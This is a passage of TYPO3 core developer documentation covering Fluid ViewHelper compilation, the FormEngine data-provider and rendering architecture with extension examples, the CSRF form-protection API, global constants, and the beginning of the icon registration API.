This method can be overwritten to define how the ViewHelper should be compiled. That can make sense if the ViewHelper itself is a wrapper for another native PHP function or TYPO3 function. In that case, the method can return the call to this function and remove the need to call the ViewHelper as a wrapper at all.

The compile() has to return the compiled PHP code for the ViewHelper. Also the argument $initializationPhpCode can be used to add further PHP code before the execution.

Example implementation:

EXT:blog_example/Classes/ViewHelpers/StrtolowerViewHelper.php
<?php
namespace MyVendor\BlogExample\ViewHelpers;

use TYPO3Fluid\Fluid\Core\Compiler\TemplateCompiler;
use TYPO3Fluid\Fluid\Core\Parser\SyntaxTree\ViewHelperNode;
use TYPO3Fluid\Fluid\Core\Rendering\RenderingContextInterface;
use TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic;
use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;

class StrtolowerViewHelper extends AbstractViewHelper
{
    use CompileWithRenderStatic;

    public function initializeArguments()
    {
        $this->registerArgument('string', 'string', 'The string to lowercase.', true);
    }

    public static function renderStatic(
        array $arguments,
        \Closure $renderChildrenClosure,
        RenderingContextInterface $renderingContext
    ) {
        return strtolower($arguments['string']);
    }

    public function compile(
        $argumentsName,
        $closureName,
        &$initializationPhpCode,
        ViewHelperNode $node,
        TemplateCompiler $compiler
    ) {
        return 'strtolower(' . $argumentsName. '[\'string\'])';
    }
}
Copied!

renderStatic()-Method

Most of the time, this method is implemented. It's the one that is called by default from within the compiled Fluid.

It is, however, not called on AbstractTagBasedViewHelper implementations. With these classes you still need to use the render() method since that is the only way you can access $this->tag which contains the tag builder that generates the actual XML tag.

As this method has to be static, there is no access to object properties such as $this->tag (in a subclass of AbstractTagBasedViewHelper) from within renderStatic.

render()-Method

This method is the slowest one. Only use this method if it is necessary, for example if access to properties is necessary.

FormEngine

FormEngine renders records in the backend. This chapter explains the main code logics behind and how the rendering can be influenced and extended on a PHP developer level. Record editing can also be configured and fine tuned by integrators using page TSconfig, see the according section of the page TSconfig reference for details.

Introduction

Looking at TYPO3's main constructs from an abstract position, the system splits into three most important pillars:

DataHandler
TYPO3\CMS\Core\DataHandling\...: Construct taking care of persisting data into the database. The DataHandler takes an array representing one or more records, inserts, deletes or updates them in the database and takes care of relations between multiple records. If editing content in the backend, this construct does all main database munging. DataHandler is fed by some controller that most often gets GET or POST data from FormEngine.
FormEngine
TYPO3\CMS\Backend\Form\...: FormEngine renders records, usually in the backend. It creates all the HTML needed to edit complex data and data relations. Its GET or POST data is then fed to the DataHandler by some controller.
Frontend rendering
TYPO3\CMS\Frontend\...: Renders the website frontend. The frontend rendering, usually based on \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController uses TypoScript and / or Fluid to process and render database content into the frontend.

The glue between these three pillars is TCA (Table Configuration Array): It defines how database tables are constructed, which localization or workspace facilities exist, how it should be displayed in the backend, how it should be written to the database, and - next to TypoScript - which behaviour it has in the frontend.

This chapter is about FormEngine. It is important to understand this construct is based on TCA and is usually used in combination with the DataHandler. However, FormEngine is constructed in a way that it can work without DataHandler: A controller could use the FormEngine result and process it differently. Furthermore, all dependencies of FormEngine are abstracted and may come from "elsewhere", still leading to the form output known for casual records.

This makes FormEngine an incredible flexible construct. The basic idea is "feed something that looks like TCA and render forms that have the full power of TCA but look like all other parts of the backend".

This chapter explains the main constructs of FormEngine and gives an insight on how to re-use, adapt and extend it with extensions. The Core Team expects to see more usages of FormEngine within the Core itself and within extensions in the future, and encourages developers to solve feature needs based on FormEngine. With the ongoing changes, those areas that may need code adaptions in the foreseeable future have notes within the documentation and developers should be available to adapt with younger cores. Watch out for breaking changes if using FormEngine and updating the Core.

Main rendering workflow

This is done by example. The details to steer and how to use only sub-parts of the rendering chain are explained in more detail in the following sections.

Editing a record in the backend - often from within the Page or List module - triggers the EditDocumentController by routing definitions using UriBuilder->buildUriFromRoute($moduleIdentifier) and handing over which record of which table should be edited. This can be an existing record, or it could be a command to create the form for a new record. The EditDocumentController is the main logic triggered whenever an editor changes a record!

The EditDocumentController has two main jobs: Trigger rendering of one or multiple records via FormEngine, and hand over any given data by a FormEngine POST result over to the DataHandler to persist stuff in the database.

The rendering part of the EditDocumentController job splits into these parts:

  • Initialize main FormEngine data array using POST or GET data to specify which specific record(s) should be edited.
  • Select which group of DataProviders should be used.
  • Trigger FormEngine DataCompiler to enrich the initialized data array with further data by calling all data providers specified by selected data provider group.
  • Hand over DataCompiler result to an entry "render container" of FormEngine and receive a result array.
  • Take result array containing HTML, CSS and JavaScript details and put them into FormResultCompiler which hands them over to the PageRenderer.
  • Let the PageRenderer output its compiled result.
Main FormEngine workflow

The controller does two distinct things here: First, it initializes a data array and lets it get enriched by data providers of FormEngine which add all information needed for the rendering part. Then feed this data array to the rendering part of FormEngine to end up with a result array containing all HTML, CSS and JavaScript.

In code, this basic workflow looks like this:

$formDataGroup = GeneralUtility::makeInstance(TcaDatabaseRecord::class);
$formDataCompiler = GeneralUtility::makeInstance(FormDataCompiler::class, $formDataGroup);
$nodeFactory = GeneralUtility::makeInstance(NodeFactory::class);
$formResultCompiler = GeneralUtility::makeInstance(FormResultCompiler::class);
$formDataCompilerInput = [
    'tableName' => $table,
    'vanillaUid' => (int)$theUid,
    'command' => $command,
];
$formData = $formDataCompiler->compile($formDataCompilerInput);
$formData['renderType'] = 'outerWrapContainer';
$formResult = $nodeFactory->create($formData)->render();
$formResultCompiler->mergeResult($formResult);
Copied!

This basically means the main FormEngine concept is a two-fold process: First create an array to gather all render-relevant information, then call the render engine using this array to come up with output.

This two-fold process has a number of advantages:

  • The data compiler step can be regulated by a controller to only enrich with stuff that is needed in any given context. This part is supported by encapsulating single data providers in data groups, single data providers can be omitted if not relevant in given scope.
  • Data providing and rendering is split: Controllers could re-use the rendering part of FormEngine while all or parts of the data providers are omitted, or their data comes from "elsewhere". Furthermore, controllers can re-use the data providing part of FormEngine and output the result in an entirely different way than HTML. The latter is for instance used when FormEngine is triggered for a TCA tree by an Ajax call and thus outputs a JSON array.
  • The code constructs behind "data providing" and "rendering" can be different to allow higher re-use and more flexibility with having the "data array" as main communication base in between. This will become more obvious in the next sections where it is shown that data providers are a linked list, while rendering is a tree.

Data compiling

This is the first step of FormEngine. The data compiling creates an array containing all data the rendering needs to come up with a result.

A basic call looks like this:

$formDataGroup = GeneralUtility::makeInstance(TcaDatabaseRecord::class);
$formDataCompiler = GeneralUtility::makeInstance(FormDataCompiler::class, $formDataGroup);
$formDataCompilerInput = [
   'tableName' => $table,
   'vanillaUid' => (int)$theUid,
   'command' => $command,
];
$formData = $formDataCompiler->compile($formDataCompilerInput);
Copied!

The above code is a simplified version of the relevant part of the EditDocumentController. This controller knows by its GET or POST parameters which record ("vanillaUid") of which specific table ("tableName") should be edited (command="edit") or created (command="new"), and sets this as init data to the DataCompiler. The controller also knows that it should render a full database record and not only parts of it, so it uses the TcaDatabaseRecord data provider group to trigger all data providers relevant for this case. By calling ->compile() on this data group, all providers configured for this group are called after each other, and formData ends up with a huge array of data record details.

So, what happens here in detail?

  • Variable $formDataCompilerInput maps input values to keys specified by FormDataCompiler as "init" data.
  • FormDataCompiler returns a unified array of data. This array is enriched by single data providers.
  • A data provider group is a list of single data providers for a specific scope and enriches the array with information.
  • Each data provider is called by the DataGroup to add or change data in the array.

The variable $formData roughly consists of this data after calling $formDataCompiler->compile():

  • A validated and initialized list of current database row field variables.
  • A processed version of $TCA['givenTable'] containing only those column fields a current user has access to.
  • A processed list of items for single fields like select and group types.
  • A list of relevant localizations.
  • Information of expanded inline record details if needed.
  • Resolved flex form data structures and data.
  • A lot more

Basic goal of this step is to create an array in a specified format with all data needed by the render-part of FormEngine. A controller initializes this with init data, and then lets single data providers fetch additional data and write it to the main array. The deal is here that the data within that array is not structured in an arbitrary way, and each single data provider only adds data the render part of FormEngine understands and needs later. This is why the main array keys are restricted: The main array is initialized by FormDataCompiler, and each DataProvider can only add data to sub-parts of that array.

Data Groups and Providers

So we have this empty data array, pre-set with data by a controller and then initialized by FormDataCompiler, which in turn hands over the data array to a specific FormDataGroup. What are these data providers now? Data providers are single classes that add or change data within the data array. They are called in a chain after each other. A FormDataGroup has the responsibility to find out, which specific single data providers should be used, and calls them in a specific order.

Data compiling by multiple providers

Why do we need this?

  • Which data providers are relevant depends on the specific scope: For instance, if editing a full database based record, one provider fetches the according row from the database and initializes $data['databaseRow'] . But if flex form data is calculated, the flex form values are fetched from table fields directly. So, while the DatabaseEditRow data provider is needed in the first case, it's not needed or even counter productive in the second case. The FormDataGroup's are used to manage providers for specific scopes.
  • FormDataGroups know which providers should be used in a specific scope. They usually fetch a list of providers from some global configuration array. Extensions can add own providers to this configuration array for further data munging.
  • Single data providers have dependencies to each other and must be executed in a specific order. For instance, the page TSconfig of a record can only be determined, if the rootline of a record has been determined, which can only happen after the pid of a given record has been consolidated, which relies on the record being fetched from the database. This makes data providers a linked list and it is the task of a FormDataGroup to manage the correct order.

Main data groups:

TcaDatabaseRecord
List of providers used if rendering a database based record.
FlexFormSegment
List of data providers used to prepare flex form data and flex form section container data.
TcaInputPlaceholderRecord
List of data providers used to prepare placeholder values for type=input and type=text fields.
InlineParentRecord
List of data providers used to prepare data needed if an inline record is opened from within an Ajax call.
OnTheFly
A special data group that can be initialized with a list of to-execute data providers directly. In contrast to the others, it does not resort the data provider list by its dependencies and does not fetch the list of data providers from a global config. Used in the Core at a couple of places, where a small number of data providers should be called right away without being extensible.

Let's have a closer look at the data providers. The main TcaDatabaseRecord group consists mostly of three parts:

Main record data and dependencies:

  • Fetch record from DB or initialize a new row depending on $data['command'] being "new" or "edit", set row as $data['databaseRow']
  • Add user TSconfig and page TSconfig to data array
  • Add table TCA as $data['processedTca']
  • Determine record type value
  • Fetch record translations and other details and add to data array

Single field processing:

  • Process values and items of simple types like type=input, type=radio, type=check and so on. Validate their databaseRow values and validate and sanitize their processedTca settings.
  • Process more complex types that may have relations to other tables like type=group and type=select, set possible selectable items in $data['processedTca'] of the according fields, sanitize their TCA settings.
  • Process type=inline and type=flex fields and prepare their child fields by using new instances of FormDataCompiler and adding their results to $data['processedTca'].

Post process after single field values are prepared:

  • Execute display conditions and remove fields from $data['processedTca'] that shouldn't be shown.
  • Determine main record title and set as $data['recordTitle']

Extending Data Groups With Own Providers

The base set of DataProviders for all DataGroups is defined within typo3/sysext/core/Configuration/DefaultConfiguration.php in section ['SYS']['formEngine']['formDataGroup'], and ends up in variable $GLOBALS['TYPO3_CONF_VARS'] after Core bootstrap. The provider list can be read top-down, so the DependencyOrderingService typically does not resort this list to a different order.

Adding an own provider to this list means adding an array key to that array having a specification where the new data provider should be added in the list. This is done by the arrays depends and before.

As an example, the extension "news" uses an own data provider to do additional flex form data structure preparation. The Core internal flex preparation is already split into two providers: TcaFlexPrepare determines the data structure and parses it, TcaFlexProcess uses the prepared data structure, processes values and applies defaults if needed. The data provider from the extension "news" hooks in between these two to add some own preparation stuff. The registration happens with this code in ext_localconf.php:

// Modify flexform fields since Core 8.5 via formEngine: Inject a data provider
// between TcaFlexPrepare and TcaFlexProcess
if (\TYPO3\CMS\Core\Utility\VersionNumberUtility::convertVersionNumberToInteger(TYPO3_version) >= 8005000) {
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['formDataGroup']['tcaDatabaseRecord']
    [\GeorgRinger\News\Backend\FormDataProvider\NewsFlexFormManipulation::class] = [
        'depends' => [
            \TYPO3\CMS\Backend\Form\FormDataProvider\TcaFlexPrepare::class,
        ],
        'before' => [
            \TYPO3\CMS\Backend\Form\FormDataProvider\TcaFlexProcess::class,
        ],
    ];
}
Copied!

This is pretty powerful since it allows extensions to hook in additional stuff at any point of the processing chain, and it does not depend on the load order of extensions.

Limitations:

  • It is not easily possible to "kick out" an existing provider if other providers have dependencies to them - which is usually the case.
  • It is not easily possible to substitute an existing provider with an own one.

Adding Data to Data Array

Most custom data providers change or add existing data within the main data array. A typical use case is an additional record initialization for specific fields in $data['databaseRow'] or additional items somewhere within $data['processedTca']. The main data array is documented in FormDataCompiler->initializeResultArray().

Sometimes, own DataProviders need to add additional data that does not fit into existing places. In those cases they can add stuff to $data['customData']. This key is not filled with data by Core DataProviders and serves as a place for extensions to add things. Those data components can be used in own code parts of the rendering later. It is advisable to prefix own data in $data['customData'] with some unique key (for instance the extension name) to not collide with other data that a different extension may add.

Disable Single FormEngine Data Provider

Single data providers used in the FormEngine data compilation step can be disabled to allow extension authors to substitute existing data providers with their solutions.

As an example, if editing a full database record, the default TcaCheckboxItems could be removed by setting disabled in the tcaDatabaseRecord group in an extension's ext_localconf.php file:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['formDataGroup']['tcaDatabaseRecord']
[\TYPO3\CMS\Backend\Form\FormDataProvider\TcaCheckboxItems::class]['disabled'] = true;
Copied!

Extension authors can then add an own data provider, which depends on the disabled one and is configured as before the next one. Therefore effectively substituting single providers with their solution if needed.

Rendering

This is the second step of the processing chain: The rendering part gets the data array prepared by FormDataCompiler and creates a result array containing HTML, CSS and JavaScript. This is then post-processed by a controller to feed it to the PageRenderer or to create an Ajax response.

The rendering is a tree: The controller initializes this by setting one container as renderType entry point within the data array, then hands over the full data array to the NodeFactory which looks up a class responsible for this renderType, and calls render() on it. A container class creates only a fraction of the full result, and delegates details to another container. The second one does another detail and calls a third one. This continues to happen until a single field should be rendered, at which point an element class is called taking care of one element.

Render tree example

Each container creates some "outer" part of the result, calls some sub-container or element, merges the sub-result with its own content and returns the merged array up again. The data array is given to each sub class along the way, and containers can add further render relevant data to it before giving it "down". The data array can not be given "up" in a changed way again. Inheritance of a data array is always top-bottom. Only HTML, CSS or JavaScript created by a sub-class is returned by the sub-class "up" again in a "result" array of a specified format.

class SomeContainer extends AbstractContainer
{
    public function render()
    {
        $result = $this->initializeResultArray();
        $data = $this->data;
        $data['renderType'] = 'subContainer';
        $childArray = $this->nodeFactory->create($data)->render();
        $resultArray = $this->mergeChildReturnIntoExistingResult($result, $childArray, false);
        $result['html'] = '<h1>A headline</h1>' . $childArray['html'];
        return $result;
    }
}
Copied!

Above example lets NodeFactory find and compile some data from "subContainer", and merges the child result with its own. The helper methods initializeResultArray() and mergeChildReturnIntoExistingResult() help with combining CSS and JavaScript.

An upper container does not directly create an instance of a sub node (element or container) and never calls it directly. Instead, a node that wants to call a sub node only refers to it by a name, sets this name into the data array as $data['renderType'] and then gives the data array to the NodeFactory which determines an appropriate class name, instantiates and initializes the class, gives it the data array, and calls render() on it.

Class Inheritance

Main render class inheritance

All classes must implement NodeInterface to be routed through the NodeFactory. The AbstractNode implements some basic helpers for nodes, the two classes AbstractContainer and AbstractFormElement implement helpers for containers and elements respectively.

The call concept is simple: A first container is called, which either calls a container below or a single element. A single element never calls a container again.

NodeFactory

The NodeFactory plays an important abstraction role within the render chain: Creation of child nodes is always routed through it, and the NodeFactory takes care of finding and validating the according class that should be called for a specific renderType. This is supported by an API that allows registering new renderTypes and overriding existing renderTypes with own implementations. This is true for all classes, including containers, elements, fieldInformation, fieldWizards and fieldControls. This means the child routing can be fully adapted and extended if needed. It is possible to transparently "kick-out" a Core container and to substitute it with an own implementation.

As example, the TemplaVoila implementation needs to add additional render capabilities of the flex form rendering to add for instance an own multi-language rendering of flex fields. It does that by overriding the default flex container with own implementation:

// Default registration of "flex" in NodeFactory:
// 'flex' => \TYPO3\CMS\Backend\Form\Container\FlexFormEntryContainer::class,

// Register language aware flex form handling in FormEngine
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeRegistry'][1443361297] = [
    'nodeName' => 'flex',
    'priority' => 40,
    'class' => \TYPO3\CMS\Compatibility6\Form\Container\FlexFormEntryContainer::class,
];
Copied!

This re-routes the renderType "flex" to an own class. If multiple registrations for a single renderType exist, the one with highest priority wins.

Adding a new renderType in ext_localconf.php

// Add new field type to NodeFactory
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeRegistry'][1487112284] = [
    'nodeName' => 'selectTagCloud',
    'priority' => '70',
    'class' => \MyVendor\CoolTagCloud\Form\Element\SelectTagCloudElement::class,
];
Copied!

And use it in TCA for a specific field, keeping the full database functionality in DataHandler together with the data preparation of FormDataCompiler, but just routing the rendering of that field to the new element:

$GLOBALS['TCA']['myTable']['columns']['myField'] = [
    'label' => 'Cool Tag cloud',
    'config' => [
        'type' => 'select',
        'renderType' => 'selectTagCloud',
        'foreign_table' => 'tx_cooltagcloud_availableTags',
    ],
];
Copied!

The above examples are a static list of nodes that can be changed by settings in ext_localconf.php. If that is not enough, the NodeFactory can be extended with a resolver that is called dynamically for specific renderTypes. This resolver gets the full current data array at runtime and can either return NULL saying "not my job", or return the name of a class that should handle this node.

An example of this are the Core internal rich text editors. Both "ckeditor" and "rtehtmlarea" register a resolver class that are called for node name "text", and if the TCA config enables the editor, and if the user has enabled rich text editing in his user settings, then the resolvers return their own RichTextElement class names to render a given text field:

// Register FormEngine node type resolver hook to render RTE in FormEngine if enabled
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeResolver'][1480314091] = [
    'nodeName' => 'text',
    'priority' => 50,
    'class' => \TYPO3\CMS\RteCKEditor\Form\Resolver\RichTextNodeResolver::class,
];
Copied!

The trick is here that "ckeditor" registers his resolver with ah higher priority (50) than "rtehtmlarea" (40), so the "ckeditor" resolver is called first and wins if both extensions are loaded and if both return a valid class name.

Result Array

Each node, no matter if it is a container, an element, or a node expansion, must return an array with specific data keys it wants to add. It is the job of the parent node that calls the sub node to merge child node results into its own result. This typically happens by merging $childResult['html'] into an appropriate position of own HTML, and then calling $this->mergeChildReturnIntoExistingResult() to add other array child demands like stylesheetFiles into its own result.

Container and element nodes should use the helper method $this->initializeResultArray() to have a result array initialized that is understood by a parent node.

Only if extending existing element via node expansion, the result array of a child can be slightly different. For instance, a FieldControl "wizards" must have a iconIdentifier result key key. Using $this->initializeResultArray() is not appropriate in these cases but depends on the specific expansion type. See below for more details on node expansion.

The result array for container and element nodes looks like this. $resultArray = $this->initializeResultArray() takes care of basic keys:

[
    'html' => '',
    'additionalInlineLanguageLabelFiles' => [],
    'stylesheetFiles' => [],
    'requireJsModules' => [],
]
Copied!

CSS and language labels (which can be used in JS) are added with their file names in format EXT:extName/path/to/file.

Adding RequireJS modules

Deprecated since version 11.5

Using callback functions is deprecated and shall be replaced with new JavaScriptModuleInstruction declarations. In FormEngine, loading the RequireJS module via arrays is deprecated and has to be migrated as well.

JavaScript is added via RequireJS modules using the function JavaScriptModuleInstruction::forRequireJS.

Example in a FormEngine component
$resultArray['requireJsModules'][] = JavaScriptModuleInstruction::forRequireJS(
    'TYPO3/CMS/Backend/FormEngine/Element/InputDateTimeElement'
)->instance($fieldId);
Copied!

JavaScriptModuleInstruction allows the following aspects to be declared when loading RequireJS modules:

  • $instruction = JavaScriptModuleInstruction::forRequireJS('TYPO3/CMS/Module') creates corresponding loading instruction that can be enriched with following declarations
  • $instruction->assign(['key' => 'value']) allows to assign key-value pairs directly to the loaded RequireJS module object or instance
  • $instruction->invoke('method', 'value-a', 'value-b') allows to invoke a particular method of the loaded RequireJS instance with given argument values
  • $instruction->instance('value-a', 'value-b') allows to invoke the constructor of the loaded RequireJS class with given argument values

Initializations other than the provided aspects have to be implemented in custom module implementations, for example triggered by corresponding on-ready handlers.

Node Expansion

The "node expansion" classes FieldControl, FieldInformation and FieldWizard are called by containers and elements and allow "enriching" containers and elements. Which enrichments are called can be configured via TCA.

FieldInformation
Additional information. In elements, their output is shown between the field label and the element itself. They can not add functionality, but only simple and restricted HTML strings. No buttons, no images. An example usage could be an extension that auto-translates a field content and outputs an information like "Hey, this field was auto-filled for you by an automatic translation wizard. Maybe you want to check the content".
FieldWizard
Wizards shown below the element. "enrich" an element with additional functionality. The localization wizard and the file upload wizard of type=group fields are examples of that.
FieldControl
"Buttons", usually shown next to the element. For type=group the "list" button and the "element browser" button are examples. A field control must return an icon identifier.

Currently, all elements usually implement all three of these, except in cases where it does not make sense. This API allows adding functionality to single nodes, without overriding the whole node. Containers and elements can come with default expansions (and usually do). TCA configuration can be used to add own stuff. On container side the implementation is still basic, only OuterWrapContainer and InlineControlContainer currently implement FieldInformation and FieldWizard.

See the TCA reference ctrl section for more information on how to configure these for containers in TCA.

Example. The InputTextElement (standard input element) defines a couple of default wizards and embeds them in its main result HTML:

class InputTextElement extends AbstractFormElement
{
    protected $defaultFieldWizard = [
        'localizationStateSelector' => [
            'renderType' => 'localizationStateSelector',
        ],
        'otherLanguageContent' => [
            'renderType' => 'otherLanguageContent',
            'after' => [
                'localizationStateSelector'
            ],
        ],
        'defaultLanguageDifferences' => [
            'renderType' => 'defaultLanguageDifferences',
            'after' => [
                'otherLanguageContent',
            ],
        ],
    ];

    public function render()
    {
        $resultArray = $this->initializeResultArray();

        $fieldWizardResult = $this->renderFieldWizard();
        $fieldWizardHtml = $fieldWizardResult['html'];
        $resultArray = $this->mergeChildReturnIntoExistingResult($resultArray, $fieldWizardResult, false);

        $mainFieldHtml = [];
        $mainFieldHtml[] = '<div class="form-control-wrap">';
        $mainFieldHtml[] =  '<div class="form-wizards-wrap">';
        $mainFieldHtml[] =      '<div class="form-wizards-element">';
        // Main HTML of element done here ...
        $mainFieldHtml[] =      '</div>';
        $mainFieldHtml[] =      '<div class="form-wizards-items-bottom">';
        $mainFieldHtml[] =          $fieldWizardHtml;
        $mainFieldHtml[] =      '</div>';
        $mainFieldHtml[] =  '</div>';
        $mainFieldHtml[] = '</div>';

        $resultArray['html'] = implode(LF, $mainFieldHtml);
        return $resultArray;
    }
}
Copied!

This element defines three wizards to be called by default. The renderType concept is re-used, the values localizationStateSelector are registered within the NodeFactory and resolve to class names. They can be overridden and extended like all other nodes. The $defaultFieldWizards are merged with TCA settings by the helper method renderFieldWizards(), which uses the DependencyOrderingService again.

It is possible to:

  • Override existing expansion nodes with own ones from extensions, even using the resolver mechanics is possible.
  • It is possible to disable single wizards via TCA
  • It is possible to add own expansion nodes at any position relative to the other nodes by specifying "before" and "after" in TCA.

Add fieldControl Example

To illustrate the principals discussed in this chapter see the following example which registers a fieldControl (button) next to a field in the pages table to trigger a data import via Ajax.

Add a new renderType in ext_localconf.php:

EXT:some_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeRegistry'][1485351217] = [
   'nodeName' => 'importDataControl',
   'priority' => 30,
   'class' => \T3G\Something\FormEngine\FieldControl\ImportDataControl::class
];
Copied!

Register the control in Configuration/TCA/Overrides/pages.php:

EXT:some_extension/Configuration/TCA/Overrides/pages.php
'somefield' => [
   'label'   => $langFile . ':pages.somefield',
   'config'  => [
      'type' => 'input',
      'eval' => 'int, unique',
      'fieldControl' => [
         'importControl' => [
            'renderType' => 'importDataControl'
         ]
      ]
   ]
],
Copied!

Add the php class for rendering the control in Classes/FormEngine/FieldControl/ImportDataControl.php:

EXT:some_extension/Classes/FormEngine/FieldControl/ImportDataControl.php
declare(strict_types=1);

namespace Vendor\SomeExtension\FormEngine\FieldControl;

use TYPO3\CMS\Backend\Form\AbstractNode;

class ImportDataControl extends AbstractNode
{
   public function render()
   {
      $result = [
         'iconIdentifier' => 'import-data',
         'title' => $GLOBALS['LANG']->sL('LLL:EXT:something/Resources/Private/Language/locallang_db.xlf:pages.importData'),
         'linkAttributes' => [
            'class' => 'importData ',
            'data-id' => $this->data['databaseRow']['somefield']
         ],
         'requireJsModules' => ['TYPO3/CMS/Something/ImportData'],
      ];
      return $result;
   }
}
Copied!

Add the JavaScript for defining the behavior of the control in Resources/Public/JavaScript/ImportData.js:

EXT:some_extension/Resources/Public/JavaScript/ImportData.js
/**
* Module: TYPO3/CMS/Something/ImportData
*
* JavaScript to handle data import
* @exports TYPO3/CMS/Something/ImportData
*/
define(function () {
   'use strict';

   /**
   * @exports TYPO3/CMS/Something/ImportData
   */
   var ImportData = {};

   /**
   * @param {int} id
   */
   ImportData.import = function (id) {
      $.ajax({
         type: 'POST',
         url: TYPO3.settings.ajaxUrls['something-import-data'],
         data: {
            'id': id
         }
      }).done(function (response) {
         if (response.success) {
            top.TYPO3.Notification.success('Import Done', response.output);
         } else {
            top.TYPO3.Notification.error('Import Error!');
         }
      });
   };

   /**
   * initializes events using deferred bound to document
   * so Ajax reloads are no problem
   */
   ImportData.initializeEvents = function () {

      $('.importData').on('click', function (evt) {
         evt.preventDefault();
         ImportData.import($(this).attr('data-id'));
      });
   };

   $(ImportData.initializeEvents);

   return ImportData;
});
Copied!

Add an Ajax route for the request in Configuration/Backend/AjaxRoutes.php:

EXT:some_extension/Configuration/Backend/AjaxRoutes.php
<?php
return [
   'something-import-data' => [
      'path' => '/something/import-data',
      'target' => \T3G\Something\Controller\Ajax\ImportDataController::class . '::importDataAction'
   ],
];
Copied!

Add the Ajax controller class in Classes/Controller/Ajax/ImportDataController.php:

EXT:some_extension/Classes/Controller/Ajax/ImportDataController.php
declare(strict_types=1);

namespace T3G\Something\Controller\Ajax;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\Http\JsonResponse;

class ImportDataController
{
   /**
   * @param ServerRequestInterface $request
   * @return ResponseInterface
   */
   public function importDataAction(ServerRequestInterface $request): ResponseInterface
   {
      $queryParameters = $request->getParsedBody();
      $id = (int)$queryParameters['id'];

      if (empty($id)) {
         return new JsonResponse(['success' => false]);
      }
      $param = ' -id=' . $id;

      // trigger data import (simplified as example)
      $output = shell_exec('.' . DIRECTORY_SEPARATOR . 'import.sh' . $param);

      return new JsonResponse(['success' => true, 'output' => $output]);
   }
}
Copied!

Form protection tool

The TYPO3 Core provides a generic way of protecting forms against cross-site request forgery (CSRF).

Usage in the backend

For each form in the BE (or link that changes some data), create a token and insert it as a hidden form element. The name of the form element does not matter; you only need it to get the form token for verifying it.

// use TYPO3\CMS\Core\FormProtection\FormProtectionFactory;

$formToken = FormProtectionFactory::get()
    ->generateToken('BE user setup', 'edit');
$this->content .= '<input type="hidden" name="formToken" value="' . $formToken . '">';
Copied!

The three parameters $formName, $action (optional) and $formInstanceName (optional) can be arbitrary strings, but they should make the form token as specific as possible. For different forms (for example, BE user setup and editing a tt_content record) or different records (with different UIDs) from the same table, those values should be different.

For editing a tt_content record, the call could look like this:

// use TYPO3\CMS\Core\FormProtection\FormProtectionFactory;

$formToken = FormProtectionFactory::get()
    ->generateToken('tt_content', 'edit', $uid);
Copied!

Finally, you need to persist the tokens. This makes sure that generated tokens get saved, and also that removed tokens stay removed:

// use TYPO3\CMS\Core\FormProtection\FormProtectionFactory;

FormProtectionFactory::get()
    ->persistTokens();
Copied!

In backend lists, it might be necessary to generate hundreds of tokens. So, the tokens are not automatically persisted after creation for performance reasons.

When processing the data that has been submitted by the form, you can check that the form token is valid like this:

// use TYPO3\CMS\Core\FormProtection\FormProtectionFactory;
// use TYPO3\CMS\Core\Utility\GeneralUtility;

if ($dataHasBeenSubmitted &&
    FormProtectionFactory::get()->validateToken(
        (string) GeneralUtility::_POST('formToken'),
        'BE user setup',
        'edit'
    ) ) {
    // process the data
} else {
    // No need to do anything here, as the backend form protection will
    // create a flash message for an invalid token
}
Copied!

Usage in the frontend

Usage is the same as in backend context:

   // use TYPO3\CMS\Core\FormProtection\FormProtectionFactory;
   // use TYPO3\CMS\Core\Utility\GeneralUtility;

   $formToken = FormProtectionFactory::get()
       ->generateToken('news', 'edit', $uid);

if ($dataHasBeenSubmitted
	&& FormProtectionFactory::get()->validateToken(
		GeneralUtility::_POST('formToken'),
		'news',
		'edit',
		$uid
	)
) {
	// process the data
} else {
	// Create a flash message for the invalid token
       // or just discard this request
}
Copied!

Global values

Contents:

Constants

Constants in TYPO3 define paths and database information. These values are global and cannot be changed. Constants are defined at various points during the bootstrap sequence.

To make the information below a bit more compact, namespaces were left out. Here are the fully qualified class names referred to below:

Check \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::defineBaseConstants() method for more constants.

Paths

TYPO3_mainDir

This is the directory of the backend administration for the sites of this TYPO3 installation. Hardcoded to typo3/. Must be a subdirectory to the website.

Defined in:
SystemEnvironmentBuilder::defineBaseConstants()
Available in Frontend:
Yes

File types

Different types of file constants are defined in \TYPO3\CMS\Core\Resource\AbstractFile . These constants are available for different groups of files as documented in https://www.iana.org/assignments/media-types/media-types.xhtml

These file types are assigned to all FAL resources. They can, for example, be used in Fluid to decide how to render different types of files.

Constant Value Description
AbstractFile::FILETYPE_UNKNOWN 0 Unknown
AbstractFile::FILETYPE_TEXT 1 Any kind of text
AbstractFile::FILETYPE_IMAGE 2 Any kind of image
AbstractFile::FILETYPE_AUDIO 3 Any kind of audio
AbstractFile::FILETYPE_VIDEO 4 Any kind of video
AbstractFile::FILETYPE_APPLICATION 5 Any kind of application

HTTP status codes

The different status codes available are defined in EXT:core/Classes/Utility/HttpUtility.php (GitHub). These constants are defined as documented in https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml

Icon API

TYPO3 provides an icon API for all icons in the TYPO3 backend.

Registration

All icons must be registered in the icon registry. To register icons for your own extension, create a file called Configuration/Icons.php in your extension - for example: typo3conf/ext/my_extension/Configuration/Icons.php.

The file needs to return a PHP configuration array with the following keys:

EXT:my_extension/Configuration/Icons.php
<?php
   return [
       // icon identifier
       'mysvgicon' => [
            // icon provider class
           'provider' => \TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider::class,
            // the source SVG for the SvgIconProvider
           'source' => 'EXT:my_extension/Resources/Public/Icons/mysvg.svg',
       ],
       'mybitmapicon' => [
           'provider' => \TYPO3\CMS\Core\Imaging\IconProvider\BitmapIconProvider::class,
            // the source bitmap file
           'source' => 'EXT:my_extension/Resources/Public/Icons/mybitmap.png',
       ],
       'myfontawesomeicon' => [
